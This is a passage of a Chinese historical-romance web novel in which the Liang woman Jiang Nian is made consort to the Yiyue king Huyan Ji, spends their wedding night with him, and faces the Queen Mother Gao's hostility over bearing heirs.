“不必多礼,坐下罢。”朵氏在宫婢的搀扶下入座。
高太后先关心了几句朵氏的身子:“本来妲儿是来陪你解闷的,现下被我这老妇拘住了。”
朵氏笑道:“她能在太后身边伺候是她的福气,也是妾身的福气,有她在太后身边侍奉,妾也能借由头到祥云殿讨一讨太后的欢心。”
高太后笑着点点头,开口道:“难为你有这份心。”闲说几句后,又问向朵氏:“王庭里也就你同我儿走得近,正巧我有一事问你。”
“太后但问,妾恭听。”
“你可知王殿有一梁国女婢?”
高太后问罢,见朵氏有些迟疑之态,说道:“怎么?这么一件小事有什么不能说的?还是谁不让你说?”
“并非不能说,只是王殿中的事务,妾身并不是很清楚,只隐隐听说,好似有一梁国婢子在王殿中当值。”朵氏说道。
高太后又问:“这女人是何来历,你可知?”
“这个妾身属实不知,毕竟是王殿,妾身不好过多打听,平时宫人们闲话,妾身也就听一耳朵,再训诫他们一番,避免嚼舌生事。”
高太后以为能从朵氏嘴里问出什么,结果一问三不知,不过这样才对,若朵氏对王殿的事务知之甚清,她反倒不那么喜欢。
“太后何不将那婢子召到祥云殿直接问话?妲儿也可以饱饱眼福,看看这天上有地下无之人,
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究竟何种模样,是比咱们多个眼,还是多个鼻子。”朵妲儿笑道。
高太后冷笑一声:“她要多个鼻子或是多个眼,那可不是天上的,那是地下的。”
……
江念这次回西殿,西殿众人也看清了,大王待她不同,还专给她配了两人伺候,一个叫秋月的,还有一个叫珠珠的半大丫头,不仅如此,王连自己的沐室也供她使用。
是以,西殿中的大小事务也不分派给江念做了。
江念不做杂物,总要给自己找点事情做,于是找到制香堂的香工,同她探讨制香之术。
王庭的香工是从民间层层选拔上来的,自然了,不排除民间隐藏技艺更高之人,可绝大部分民间香工比之王庭,还是逊色许多。
江念对制香有兴趣,她一直想要调制一款独一无二的香料,不过现在还没有这个能力,需好好打磨基础技艺,但她有别人没有的天赋,对气味的感知力很强。
“洛香工,我有个制香上的问题想向你请教,可否替我解解惑?”
她最开始学习制香就是请教的这位洛姓香工,那个时候只是一时兴起,无事之时就傍在她的身边,看她制香,其间偶尔问几句,若她正忙,便不理她,若她闲下来,也会同她认真讲解。
总归来说,这位洛香工是个极为严肃之人,对原料克重的把控,还有调香步骤的先后,锱铢必较,在这一点上,江念是十分佩服欣赏的。
洛三姑看向来人:“你要问什么?”
在四季轩时,江念一直是从香谱学习调香,可书上的知识毕竟是死的,碰上问题,只能稀里糊涂地照书上的记载操作,却不明就里。
譬如,哪种药材需先以清酒浸泡,泡多长时间,如果泡得时间过长会如何,时间过短又会如何,她只能照本宣科式的制香,知其然而不知其所以然,没法通晓更深,若不通晓更深,就造不出新的香品。
江念就势拿出香谱,一下就翻到那一页,指着一处,问道:“你看这个帐中香,明明已用蜜蜡封了口,算是制成,为何还要用银炭灰煨三日,才算完?”
洛三姑看了香谱一眼,只见那册子纸页脆化,书脊松动,一看就是被经常翻动。
“用银炭煨三日,是因为银炭可吸附杂质,使烟色更净。”妇人认真道。
江念一听,恍然大悟,堵在心中的疑虑终于得解。
洛三姑见她那样,好似见到自己才学制香时的样子。
正在此时,木雅从另一边走来:“原来在这里,找了你好半晌,祥云殿传召,速去。”
江念听说祥云殿召她,心道,该来的总会来,避是避不过的。她去过一次祥云殿,还是为了给木雅送染料,结果去的路上还下了好大一场雨。
在宫人的引路下,江念进了祥云殿,才一进,就是森然的冷意扑来,激得人一哆嗦……
第114章 一个如水,一个似火
江念看向上首的年轻女子,想不到她居然会替自己解围。
其实哪怕这位贵女不站出来替她言语,呼延吉也有办法解决,江念仍是朝她投去感激的一瞥。
在江念看向朵妲儿的同时,朵妲儿正巧也看向江念,冲她俏皮地眨了眨眼。
江念心里不得不叹一声,这女子当真是嘴儿巧,刚才还娇憨地问什么是“盲龟浮木”,一脸懵然,真当她开解圣太后之时,佛语纶经却信手拈来。
此等意趣妙人,谁能不爱?
正想着,就听高太后说道:“妲儿是朵妃之妹,客居王庭一些时日,随侍我身侧,散心解闷。”说着,对身边的年轻女子说道,“还不去向大王见礼。”
女子一笑,莲步轻移,趋步下阶,走到呼延吉面前,施了一礼,言语轻松:“妾拜见大王。”
呼延吉微微抬手,笑了笑:“妲儿姐姐几时这般讲究礼数了?”
男人的话引得女子掩嘴儿笑起来。
“难得,大王现在称妾身姐姐,从前把妾推到池子里时,可是叫妾身朵蛋儿呢。”
这话说得殿中人又是一阵笑。
呼延吉八岁去的大梁,未去梁之前,常随兄长出庭游玩,五上姓还有各个世家,都是他经常造访之地。
到了那些人家,他从不客气,总要闹出点事来,不是把人家园子烧了,就是把人家主仆闹得被马蜂追蜇,偏偏众人对这小王一句重话说不得,还得把他供着。
背后众人给他取了个诨号,人称京都小魔王。
到了朵家,就追着朵妲儿叫朵蛋儿,**他一去,不把她逗哭决不罢休,几岁大的小子,最是惹人厌的时候。
朵妲儿的生母气得跟她家老爷哭诉不止,朵尔罕也无法。
有一次,呼延吉随他兄长到朵家,呼延成在前厅议事,他便跑到后园,因天气太热,玩够了,就攀爬到一棵大树上,架坐在树杈间趋阴避阳。
从树隙间见朵妲儿往这边蹦跳而来,最后立在湖边赏鱼。
呼延吉趁她不备,从树枝上摘了一颗果子,对着她的头扔去,结果朵妲儿受了惊,脚下不稳,跌到池子里。
呼延吉见她跌落湖池,知道自己闯了祸,从树上骨碌溜下来,一溜烟跑了。
还好被不远处立着的奴仆及时发现,将朵妲儿捞了上来,差点没淹死。
重提旧事,呼延吉也觉的有些对不住,笑了笑:“那是儿时之事了。”
朵妲儿抿嘴儿笑,又看向他身侧的江念,上上下下好一番打量,眼中尽是笑意,然后拉起江念的手。
“真真是个妙人儿,美人儿姐姐,你年岁几何?”
江念笑道:“今年一过,便二十六了。”
“那我叫姐姐便没叫错。”女子看向上首,对高太后说道,“太后,您看这么个人儿,放在眼前光看着就舒心,以后得让江姐姐常来这里,您瞧着咱们这些乌糟人久了,得看看好的洗洗眼。”
这话说得高太后又是一乐。
呼延吉侧眼看向江念,因有话问她,遂开口道:“若是无事,儿子带人先退下。”
高氏的笑收了收,说道:“大王政务辛苦,无需常往我这里来。”说着顿了一顿,又道,“至于她,我只一句话,你立她为妃可以,但不允许生出孩子来,这已是我最大的容忍。”
呼延吉沉目不答,江念看了他两眼,知道他的倔劲又起来了,只好从后扯了他一下,他才再次开口:“儿子先行告退。”
一句不咸不淡的话把高太后刚压下去的火气又拱了起来,正待要发作,呼延吉已带着江念离开了。
……
江念随呼延吉回了西殿,进到寝屋,她上前替他宽去朝服,如今伺候他的日常起居,已是熟稔。
可今日不知怎的,那衣服上的纽子就像跟她作对似的,解半天解不开。
头顶的视线让她更加焦灼,恨不能将那纽子扯下的好。
“你怎么回事?”男人开口问道。
“我也不知道怎么回事,就是解不开呢。”
“你少跟我装睡里梦里的,我是问你这个?”
江念吁出一口气,终是把那粒纽子解开了:“我知道你问的什么,那会儿也不好说。”
“那你现在说给我听。”
女人将呼延吉的外衫褪下,挂起,然后走到窗边,往外望了望,那长尾巴的雀儿正在窗外的园子里踱步,两个宫奴在一边给它投食。
呼延吉有些急了,走到她旁边,让她看着自己:“江念,你是不是还打着利用我的主意,才那般轻易提出不要孩子?想着等日后利用完了,找到江轲了,好一走了之?”
他不能不多想,尤其看到她一副无所谓的态度。
江念从他手里挣开,他同她想的完全不是一路,遂说道:“我如今连自己都护不住,有什么能力去护一个孩子?时至今日,我能活下来全靠运气,可这样的运气能有几次,我已尝过失去亲人的滋味,再承受不住……”
呼延吉想说什么,可不得不承认,在夷越,江念的底子太薄了。
当年连兀良慈都不能幸免,又何况江念。
“况且……”江念想了想还是止住了,觉得她现在未被立妃,同呼延吉都不算夫妻,说这些话太早了。
婚都没成,就开始谈孩子,听起来有些可笑。
呼延吉不打算放过,追问道:“况且什么?”
“没什么。”她已决定同他一起,就陪他到底,至于孩子,是她没有,不是他没有,她做不了母亲,他仍可以做父亲。
呼延吉沉了一口气:“你不说,我来说,你担心你我结合后,生出的孩子被人瞧不起,被人嘲笑看轻,是也不是?”
江念眼眶微微发红。
“阿姐,你放心,不会的,我向你保证。”
“怎么保证?”
呼延吉将人揽入怀里:“你说的对,现在不该谈这些,往后放一放,我需要时间,时机还未到……”
此时的江念,并没有读懂呼延吉话里的意思。
高氏松了口,前朝的大臣们也只象征性地反对了两句,毕竟君王立梁女为妃,并不是立大妃,若是册封梁女为大妃,那前朝后宫有得闹。
江念封妃的日子定下了,封妃仪式由内侍司负责。
这日,王庭正殿,设香案,摆皇权节杖,由大宫监丹增宣读册封诏书。
江念在秋月和木雅等宫婢的伺候下,盛妆装扮,按夷越等级规制着妃服,跪听宣读,再向君王行叩拜,最后内侍司以
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“梁”字为号,记录入牒。
历来夷越王之妃多半由其姓氏,或是一些祥瑞词汇取号,譬如前夷越王呼延成的朵氏妃,肖氏妃,大妃兀良氏,江念的这个号是圣太后高氏赐予,好似提醒所有人包括江念自己,她的不同,她是梁人。
朵氏在一边看着,有一瞬间的恍惚,恍惚跪在那里的是她,回过神,她仍站在原地,只觉得悲凉。
而一边的朵妲儿面上很是轻松,先看了一眼跪听的江念,又抬眼看向上首的呼延吉。
对夷越人来说,今日有些特别,他们的君王在今日终于立妃了,更特别的是此女是梁国人。
虽说不是册封大妃,也让民间好一番热闹庆贺。
王室更是下令,举办灯会,各地州府在这日于街市,设流水席三日,坊市张灯结彩,人声喧腾。
历来君王只有在立大妃之时才会有此等庆贺,如今立一梁女子为妃,居然也这般大的架势。
内廷先有梁妃,这让未来的大妃如何做想,那威信只怕在这位梁妃前还稍逊一筹。
不过这也是民间百姓茶余饭后的闲谈,就像他们谈起国家大事,总是津津乐道,好似没人比他们更懂。
呼延吉终是等到了这一日,他娶到了她,她成为了他的妻。
江念一回正殿,一刻也等不得,让宫人替她卸下繁重的头饰,这些头饰好看是好看,就是太过沉重,刚簪上那会儿,还能忍,等封妃仪式完成,整个颈脖异常僵涩,再不卸下,她那脖子怕是会断。
待卸去头饰,拆除发辫,换下繁琐的妃服,才算喘过气来。
“主子,我让他们上些膳食罢,直到现在你都没怎么吃过。”秋月说道。
江念点了点头。
不一会儿大膳房摆上可口的菜馔。
正巧呼延吉从外走来,见了这一桌饭菜也饿了,便跟着吃了一些,用饭时,两人都不怎么说话。
用**,宫人们将桌面撤去,呼延吉坐在那里,自顾自取过一玉色的胖肚壶,那里面装着用冰湃过的花茶,他将壶里的花茶倒入面前的两个半透明琉璃盏中。
那冰冰的花茶一入到青色的琉璃盏内,便起了一层水雾,好似剔透的杯壁附着一层朦胧的颗粒。
他将其中一盏推至对面:“尝尝。”
江念端起流光清浅的花茶,轻轻抿了一口便放下。
“不喜欢?”呼延吉问道。
江念脸上有些发红,摇头说道:“我不惯喝花茶。”
呼延吉没多想,知道她每每饭后,会习惯喝一杯清茶,便重新燃了小炉,煮水,待水沸后,沏了清茶给她。
封妃后,她便是他的妻,好像变了,又好像没变什么,她也说不出这种感觉。
呼延吉看起来很平静的模样,低敛着眼皮,用火箸轻轻挑着炉里的银炭。
两人闲谈的言语就像那几粒火星子,看似寥寥,却是炭火般的灼人。
平时二人相处的自在随性,也会有戏闹的亲密,却没走到这一步,真当变成另一种更为亲密的关系时,都有些无措,一个低眉捧热茶,一个敛目挑银炭。
一个如水,一个似火,一经相融便是热腾腾的乳白水汽,昏黄的烛火下,二人变得少言,各自思量着……
第115章 一身羞情
呼延吉用火箸随意挑拨了两下银炭,飘升起几点子亮红的火星。
江念在他对面慢慢地喝着茶,见他有些发怔,不知他在想什么,遂开口道:“要不要去孔雀苑走一走?”
呼延吉看了她一眼,说道:“才用**,走走也好。”
两人出了西殿,往孔雀苑走去,身后跟着随侍的宫人。
此时天还没有完全暗下,只是褪去了白日的燥热,天空仍是亮的,苑里的空气浸染上草木青青的润凉。
两人沿着石板路逶迤走着,两边绿坪上的珍禽少了,好些飞上枝头栖息下,就这么走了一会儿,碰上了同样饭后游园的朵家两姐妹。
两人上前先是朝呼延吉见礼,然后同江念相互叙礼,再恭送二人离开。
看着二人远去的背影,朵氏侧眼看向朵妲儿,笑了一声儿:“小妹就不羡慕?”
朵妲儿喃喃道:“这样一对璧人,怎能不羡慕呢。”
“要我说,小妹比那梁女更该伴在大王身侧,指不定大王的心就在你身上了。”朵氏说道。
朵妲儿听了,认认真真地往朵氏脸上望了望,然后一笑,笑得很有些怪。
“小妹笑什么?”朵氏问道,如今她不敢再出头,就想撺掇朵妲儿,也不知朵妲儿是真傻还是装傻,总不接她的话茬。
朵妲儿仍是笑着,并不答话,朵氏最厌恶她这副不谙世事的模样。
……
江念同呼延吉在苑中走了一会儿,天色渐渐变暗。
他见她有些累了,提议道:“回罢?”
“要不再走会儿。”
呼延吉不说什么,随她继续闲走,渐渐的,天色已然黑透。
呼延吉又道:“还走?再走,晚间咱们就宿在这园子里。”
江念展眼望了望,苑里已点上暗黄黄的烛灯。
“有些晚了,是罢?”
“不是有些晚了,是很晚了,你若还要走,我自然陪着你,只是真不累么?”呼延吉说道。
江念笑道:“你不说我还不觉着,叫你一说,真有些走不动了。”
呼延吉也不戳穿她,叫人抬了乘辇来,两人坐着回了西殿。
江念一回寝屋,便踢了鞋,坐在毡毯上,倚着矮几,懒懒的样子。
“磨蹭什么呢。”呼延吉说道
“哪里磨蹭了,就是走累了,歇一会儿,你先去沐洗,我再坐一会儿。”
他见她面上确有疲色,想是白日封妃之典上累着了,便自去了沐室。
沐室里丝雾袅绕,男人从水里冒出头,立起身,池水堪堪齐到他的胸脯之下,他先是抹了一把脸上的水渍,“哗啦——”一声从水里抬起臂膀,将湿发捋到脑后,然后走到池边,撑着头,闷笑出声,那笑声一下就在沐室荡开了,混着壁音,更显声大。
他如何看不出来,她一直在延挨,又要故作平静。
呼延吉从沐室出来,穿了一件月白色的绵软交领长衫,发根滴着水,将衣衫洇出一片深深的湿渍,稀皱在身上,踢鞋,坐到案几边,江念从宫婢手里接过干爽的毛巾,跪坐到他的身后,轻轻拭着他的湿发。
呼延吉扯过她手里的毛巾,说道:“我自己来。”
说罢,见她仍在一边踌躇,便道:“真不打算歇息了?就这么干耗一夜。”
江念这才起身,几个宫婢随在身后,一同进了沐室。
“主子,起身罢。”秋月说道,已经泡了这般久,那池中人似是桃花上脸,香腮红粉,微微丰唇更是潋滟,再泡下去就熟透了。
江念从不觉着自己是什么胆小之人,今夜却生了怯懦之心,她同呼延吉儿时就顽在一处,笑笑闹闹间也有失分寸的时候,二人也习惯了这种试探性的你来我往。
她在他面前,始终端着阿姐的做派,他再胡闹再劣桀,在她面前还是收敛着,不敢放肆太过。
可真要进变成另一种关系,她就不知该如何面对,也不知要怎样自处,在这件事情上,实在有些忸怩不爽利。
可她也清楚迟早要面对,既然决心同他站在一处,这么一道浅浅的坎总要跨过,她只需抬抬脚就能过,他就在前面迎着她。
她从水里起身。
秋月并宫婢们开始近前伺候,用干巾拭去她身上的水渍,再披上藕荷色的绢纱长衫,然后扶她到贵妃榻上,秋月取出玫瑰香膏,温在掌心,一点点给她敷抹。
这乳膏不仅润肤,香味也很特别,混着柔脂的单薄花香,又渗着一捻捻的相思,是她闲暇无事时调制的,市面上买不到。
待秋月给江念全身抹匀香膏,将她搀扶起身。
另一宫婢在那如烟似雾的纱衫外披上一件大袖素缎的外裳,腰间松松系一根丝绦,衣摆垂至脚踝,如云的敞袖精绣着翠色的藤蔓。
江念在宫婢们的环伺下出了沐室,穿过露台,往寝屋内款款行去。
处于前厅的达娃和帕依两姐妹相互对看一眼,庆幸没把江念得罪狠了,谁能料到,当初一个扫酒庭院且无依无靠的梁女,不到一年,居然翻身成了君王之妻。
如今人人尊她一声梁妃。
两人又看了一眼随在江念身侧的秋月和珠珠,叹道,倒让这两人得了便宜。
江念进了寝屋,宫婢们便退下了。
呼延吉正立在窗边,吹着夜风,听见响动,转过身,怔愣一瞬,盈盈烛光中,女人穿着大袖拖地长衫,腰肢袅娜,花貌娉婷地立在那里,脸颊红着,分不清是被水汽熏的,还是羞情。
江念努力忽视落在自己身上的那道视线,往矮几边行去,打算再坐一坐,把头发晾干,才踢去脚下的软底绣鞋,眼前景物一转,她已落到一个强劲又温热的臂弯间。
“真真是急人,你还打算坐到几时?也可怜可怜我罢。”
“我头发湿着,不好上榻,
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待烘好了再上榻,快放我下来。”
“这好办,我替你烘干。”呼延吉把她放到床榻,拿过小暖炉,挥下半边纱帐,入到帐里,坐到她的身后,一手握着小暖炉,一手执起女人墨色的发丝,细心地为她烘干。
轻纱帐里,两人皆是不语,她坐在他的怀里,任他给她烘干湿发。
不知又过了多少时候,殿外响起更声,已是好晚。
江念也忍不住打了一个哈欠,身后的湿发慢慢变轻,逐渐变软。
他的气息近到她的耳后:“歇息罢。”
呼延吉见她默然不语,双臂从后环上她的腰肢,将她拢到身前,让她的后背贴着自己。
两人的心在这一瞬,合到了一处。
男人的心一下又一下强劲地搏动着,而她的心跳在他面前完全失了分寸,被他擒握住,在他发烫的掌间欢动。
呼延吉知道自己脾性不好,对人对物随意惯了,说白了,他并不是个太好伺候的人,可在江念面前,那野性就得压一压,把一腔子温柔都倾在她的身上。
江念身子仍是僵硬的,望着他的那双眼,不免脑中就浮现初次见他时,他那惨兮兮的可怜样。
好小一头狼崽子,任人掐脖提起,瞥见她时,那双眼底有倔强,有**,唯独没有乞望她出手施救的盼念,他蛮狠的傲气,让她折身救下他。
而现在,自己却偃卧在他的榻上,这种感觉又荒诞又奇怪。
呼延吉自然看出了她的紧张和不自在,他一向是惜爱她的,凡事尽可能依她而行,然而今夜,他没法止住。
他将她放到床榻,体谅出她的羞情,从旁拿过一条丝巾,轻轻覆在她的眼上,江念下意识就要扯去,却被呼延吉捺住手腕。
“我知阿姐心底别扭,盖上纱,别看,过了今夜就好。”
江念透过纱巾,看向上方的人,朦朦胧胧如在梦境,若是梦的话,也好……
她感受到他忍耐得极辛苦,却并不显急切,耐心地使她放松下来,
他的触碰很轻,很轻,从耳下一点点吻去,直到身下的人儿热化,他的手控着那纤腰,不盈一掬。
他很喜欢她身上的味道,暗暗的软香,带着暖意,她身上的体香,是他戒不掉的瘾,以香识人,以香忆人。
后来的后来,他一嗅到这香,便如同她在眼前,那香幻化成了她,勾诱着他,过往的种种,就都在脑中过了一遍,挥之不去。
江念下意识抚上胸前的脑袋,乱了呼吸。
怯怯牡丹绽放,覆盖在女人眼上的纱巾在跌宕中滑落……
似是终于抑不住,一捻捻细喘从女人的唇间溢出,呼延吉很开心自己使她发出那软声儿,俯在她的耳边,颤声轻唤:“阿姐……”
她在痛中,吻上他耳后的暖意,想让他再轻省点力气,也就是这轻轻一吻,让男人感受到全身周流的酥麻……
第116章 她是他的妻
云收雨散,他从后拥着她,心里说不出的欢喜,事后比事中还要开心和得意。
他终于同她契合在一处,再不分彼此,哪怕就是现在死去,也值了。
头一次,他不得要领,她紧张僵硬,不过总归来说,还是女人受罪一些。
江念心里来气,打掉他的手,让他离自己远些,心里是有些恼的,可也不是恼呼延吉,而是另有原因。
从前她在江家,让秋水偷摸着拿了些那方面的书籍,每每看得面红耳热,书上说,男女之事,女子如何如何,男子如何如何,原来都是胡编乱造。
反正要生要死她没觉着,只觉着没法忍,尽管呼延吉很小心,可还是形容不出的难受,没体会到一点的轻松。这份难忍把她原先的别扭都冲淡了,之后几日,他别想再碰她。
要说老天爷构造男女身体之时,当真是偏心,初次,男女之间的感受截然不同。
那会儿,呼延吉见她脸都疼白了,知道她遭罪。
“就那般难忍?”这也是他头一次,纵使已格外轻浅小心。
直到江念吻上他的耳,才算完。
“怎的不疼,把你身上破个口子,你试试看疼不疼。”江念猛地转身,看着他。
她这一瞪,呼延吉又势弱了,想说什么又说不出口,无言地抱着她,软语温存了一会儿。
正当此时,门被敲响。
呼延吉让宫婢进入,正好让她们抬水进来,好清洗身子。
随着宫婢们抬水进入,另一个声音在榻前响起。
“老奴叩拜大王,圣太后让老奴给梁妃送避子药丸来。”
说话之人正是圣太后跟前的管事阿姆,姓金,是高氏的陪嫁,当初随高氏一齐进入王庭,身份地位同宫里的宫婢不同,连大宫监丹增在她面前也得客客气气的。
此话一出,整个殿宇瞬间安静。
那些抬水的宫婢们快速退到一边,垂手侍立。
先时帐中无任何动静,缓了一会儿,响起窸窸窣窣的之声,接着锦纱掀起,呼延吉披衣下榻,走到金掌事面前。
老妇人躬身,让身边的宫婢上前,宫婢双手执着托盘,上面放着一个雕花镂鸟的小方盒。
呼延吉拿起,“嗒——”的打开,里面是一褐色如同花生粒大小的药丸。
呼延吉将药丸拿在手里,一点点碾碎,最后拉过祥云殿的宫婢,把手在她身上擦了擦,将指上的药泥拭净。
“金掌事是母亲的跟前人,重话我就不说了,你回话去罢。”
金掌事怔了怔,只好应了一声是,就要出寝殿,却被另一个声音叫住。
“金掌事留步。”江念已重整衣衫,趿鞋下榻。
“老奴叩拜梁妃殿下。”
说着就要行礼,却**念扶住。
“金掌事是圣太后跟前的老人,不必多礼,妾有一句话,还劳掌事带给太后她老人家。”
“梁妃殿下但请明示,老奴恭聆。”
江念抬起手,在她面前摊开,掌中是一个小方盒,打开,里面有一粒小药丸,同刚才那一粒同等大小,江念将那药丸拿起,微笑道:“妾身这也有一粒避子丸。”说着,又一笑,“错说了,不止一粒,柜中还放了好些,皆是从宫医那里得的。”
说罢,两指拣起药丸,就要放入口中,却被旁边的呼延吉一把擒住。
“你干什么?!”
江念看着他,抚开他擒住自己的手,仍把那药丸放入口中,一边的宫婢很有眼力地递上茶水,江念接过,仰脖就着水咽下。
“金掌事烦请回圣太后,就说妾知晓该如何做,莫要为了妾身伤了太后她老人家同大王之间的母子情分,不值当。”
金掌事看了江念一眼,暗自点头,记下这一节,恭声道:“梁妃殿下的话,老奴会转告太后。”
“掌事若无其他的事情,退下罢。”江念说道。
待人走后,宫婢们以屏风张护,替江念净身,净过身后,众人退下,江念重回床榻,就见呼延吉倚靠在那里,凝着她。
正待她要解释两句,呼延吉开口道:“我知晓你的顾虑,先前你说过。”
一语毕,两人皆不说话了,有些难言缄之于心。
他将她揽入怀里,相拥睡下,可谁也没睡着。
没有子嗣意味着什么,他很清楚,她也清楚,可她仍是这样做了,直到这一刻,呼延吉觉着,相较于自己的刚直和孩子气,江念总在用她的态度包容着他,她的力量既柔软且坚韧。
也是这一刻,呼延吉在心底做出一个重大的谋划。后史**载,夷越王呼延吉擘画天下舆图,半生征伐,鞭挞四海。
江念自然不知呼延吉内心的想法,在他怀里沉沉地睡去。
夜间,她迷糊醒来,身上难受,腿根处更是酸涩,弱弱的光线下,最先感知到的不是眼前的影物,而是额腮温凉的触感,还有掌下劲肌缓缓地起伏。
她就着微弱的烛光,微微仰着脖,是他坚毅的下颌,再用眼一点点摩挲着男人的睡颜,不浓不淡的眉,细窄的眼褶,若他此时睁眼,那眼中便是落下的金乌,眼尾则是游云霞刃,再往下是挺直的鼻,这张脸上的每一个弧度都恰到好处。
江念觉着有些不太真实,可感受到他绵长的呼吸,又特别的安心。
在她细细地用眼描摹他的睡颜时,他动了动,她赶紧闭上眼,假装睡去。
他将头蹭到她的肩间,贴着她的腮,呢喃着:“阿姐……”
她以为他醒了,这一声后,再无动静,只有均匀绵长的呼吸,原是梦中呓语。
慢慢的,江念也跟前睡去,他的身体太热,抱久了就有些黏腻难受,又退不出,反正上半夜没睡好,下半夜也没好睡。
不知几时,睡得迷糊,身侧的动静略略惊动了她,惺忪地睁开眼,帐外点点昏黄的光,透过纱帐看向半掩的窗,外面仍是蓝黑一片。
清凉凉的风吹进帐中,纱帐随风微微鼓动,呼延吉赤着上身从床上坐起,勾过一件松散的白绫软衣,披到身上。
随着男人的动作,那宽整的背部牵出力量的肌线,再一回想昨夜的情景,不免有些耳热,难为她没死在他身下。
在她看向他时,他也回看过来,俯下身,在她嘴角落下一吻。
江念
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知道他这是准备早朝,于是就要起身伺候他穿衣。
“莫要起身,你再多睡一会儿。”
呼延吉不让她起身伺候,她却不能躺着不动,虽然她很不想动弹,只想在这舒适凉爽的晨间继续眯眼睡觉。
可她现在是他的妻,是他新立的妃,只他二人时,她可以仗着他的纵容懒散随意,但在这些宫人面前,该守的规矩还是得守,于是起身,扯过小衣,系在身上,又披上一件外裳穿戴好。
殿外的宫婢听见屋内动静,依次序进入,开始伺候主子们梳洗更衣。
江念上前替呼延吉着朝服,从宫婢手里接过玉带,为他束上,再挂配饰,殿中安静得只闻窸窣之声和浅浅的脚步声,再无其他。
他也就伸着双臂,敛目沉眸看向胸前的脑袋,有条不紊地为他理装。
“你再回榻躺一会儿,离天亮还有些时候。”呼延吉说道。
江念实在困得厉害,剩下的由宫婢们伺候,她依言走到榻边,踢去鞋,重新回到床榻,褪去外裳,只着小衣躺下,一双银条般的长腿将衾被压在腿间。
半阖着眼,困意慢慢袭来。
呼延吉穿着朝服,回身看了一眼床榻。
晨间清润的风从窗隙穿过屋子,吹动如烟似雾的纱幔,风手揭帘,莹莹玉体透床帷。
他回走到榻边,掀起纱幔一角,将上半身探入帐中,牵起她的腿儿,亲了亲,又在她的脚背上落下一吻,那宽大的裤腿一溜滑到了女人的腿根处,半遮半掩下,勾得人想看得再清楚一点。
江念半睡半醒,不愿动弹,绵软着身,侧过头,眼睛似眼非睁地看向呼延吉。
呼延吉不看还好,一看就动不了似的,脑子里又想起昨夜那一场如糖拌蜜似的鱼水,恨不能再次入帐,连早朝也不想上了。
好在他快速调整过来。
而殿中的宫婢们则垂着首,眼观鼻,鼻观心。
待呼延吉走后,江念很快再次睡去,天亮了才起身,宫婢们再次入内伺候。
彼边……
高太后坐在镜前,任宫婢替她篦头。
“她真这样说的?”妇人看着镜中的自己,检查脸上是否又多出了纹路。
昨夜金掌事从西殿回了祥云殿,因太后已就寝,便打算次日再回禀。
“是,太后您是知道大王的脾气,王把那药丸碾碎,老奴心想着这事只怕难成了,不想梁妃自己拿出一粒避子丸服下,老奴也是没料到。”
高太后轻嗤一声:“谁知她吃的是不是避子丸,说不准拿一粒假药丸糊弄人。”
金掌事想了想,开口道:“依老奴看,倒像不是,她若真想隐瞒,不必拿一粒假药丸唬骗。”老妇人说着压低了声儿,继续道,“毕竟是大王的枕边人,内帷之事若非她心甘情愿,防是防不住的。”
高太后点点头:“这话也是,她要是个聪明的就知道该怎样做才能好过。”
那梁女若是懂进退,只伴君王侧,不育王嗣,不去妄想她不该想的,那么王庭便能有她一席之地,否则……就算犯下杀戒,她也绝不允许有一丝外族血脉混污王室……
第117章 揉揉腰
金掌事在一旁应和。
“妲儿起了没?”高太后问道。
金掌事笑道:“早起了,在草场遛马呢,起身时怕吵着您,不敢发出丁点的声响。”
“不是我说,这孩子真是个省心听话的,我得多留她在身边,比我那儿子更讨我喜欢,他娶梁女,就是怕气不死我,若非妲儿开解劝导,我已气闭眼了。”
“您是大福之人,大王也孝顺……”
金掌事话未说完,高太后便道:“我跟前这么好的一个人儿,他装作看不见,却娶一个梁女,当众说什么把祖宗气活了更好,你听听,我说他是魔王,可有说错?这就是他的孝顺?他若真孝顺就该赶紧立妲儿为大妃。”
说着又道:“从前,他才回来那会儿,同朵氏走得近,我道他要立朵氏为妃,结果这么些年过去……”镜中的贵妇人又是一声叹,“那也是个不顶用的,打量着人家不知道她的心思,装出一副温娴的性子。”
金掌事自然知道这说的是朵氏。
“当下老奴有句话,不知当讲不当讲。”
高氏抚了抚掺白的鬓角:“你在我面前还有什么当讲不当讲的,说来。”
金掌事应是,说道:“太后其实不必太过忧虑,并非老奴宽慰之言,依老奴看,妲姑是个有大主意的,同东殿那位不一样。”
朵家送朵妲儿进王庭,是何用意,高氏清楚,朵妲儿更清楚,大家心里都清楚。
高太后听了,思忖片刻,笑了,这倒也是,从儿子提出立梁女为妃,到如今,妲儿那孩子眼里只有闲适轻松,反倒是朵氏有些沉不住气。
……
江念下了乘辇,在宫婢的引领下进了祥云殿。
一宫婢从珠帘内走来,躬身道:“梁妃殿下稍候,圣太后还未起身。”
江念已为呼延吉之妃,到祥云殿昏定晨省便少不了,有意思的是,宫婢并未迎她坐下,亦未上茶。
她只好安静地立在殿中等候。
而高氏早已起身,正在后方小园中信步,走了一会儿,走累了,便坐到亭下的椅凳上,宫婢们立时上前,沏茶摆点心,又有几个宫婢上前打扇、捶腿。
“她还在?”高氏问道。
“还在呢,也没敢坐,一直立在那里。”金掌事倒有些不忍,已是立了小半上午,要不是因着那么一层身份,也是顶不错的一人儿。
“她们梁人不是有婆婆给儿媳妇立规矩这么一说,梁国千不好万不好,这一点却是极好,我要好好学一学,几时你们寻些这方面的书籍来,好像叫什么《女诫》《内训》的,叫女子从令顺命,对公婆无条件顺服,还有‘鸡鸣即起,梳洗整齐’‘饭食随分,不敢辞劳’,以“孝养柔顺”为本,我得依着书上的规矩在这梁女身上轮番试一试,看看她的耐性到底有多大。”
金掌事心底嗟叹,只能应下。
江念端着手立在堂间,站得久了,腰肢酸疼难忍,挺直了疼,弯着也疼,完全不能动,稍稍一动就跟要断了一样,昨夜又没休息好,虚乏得头上冷汗涔涔。
只能将大脑放空,看着地上的影儿,正在此时走来一人。
“梁妃殿下,圣太后才起身,她老人家今日身上不好,便不见了,您回罢。”金掌事说道。
江念微笑道:“劳烦金掌事传话。”
金掌事躬身颔首,又招来殿中侍婢:“送梁妃殿下。”
江念在秋月的搀扶下,上了乘辇,坐下的那一刻,才松软了腰肢,靠在椅背上。
待回了西殿,也是一声不吭,不让人瞧出异样,直到进了寝屋,当下反手褪了外裳,掷到地上,又急急走到毡毯前,踢了鞋,歪坐下来。
“秋月,快来给我揉揉腰。”
江念伏趴着,秋月忙跪坐到一边,不敢太用力,轻轻地按压推揉:“主子,好不好一点?”
江念将头埋在臂间,“唔”了一声。
刚揉没几下,珠珠从外间走来,也踢了鞋,跪在江念身侧,拿小手替她揉压。
江念侧过头,正巧瞥见女孩儿一副欲言又止的模样:“怎么了?是不是有什么话?”
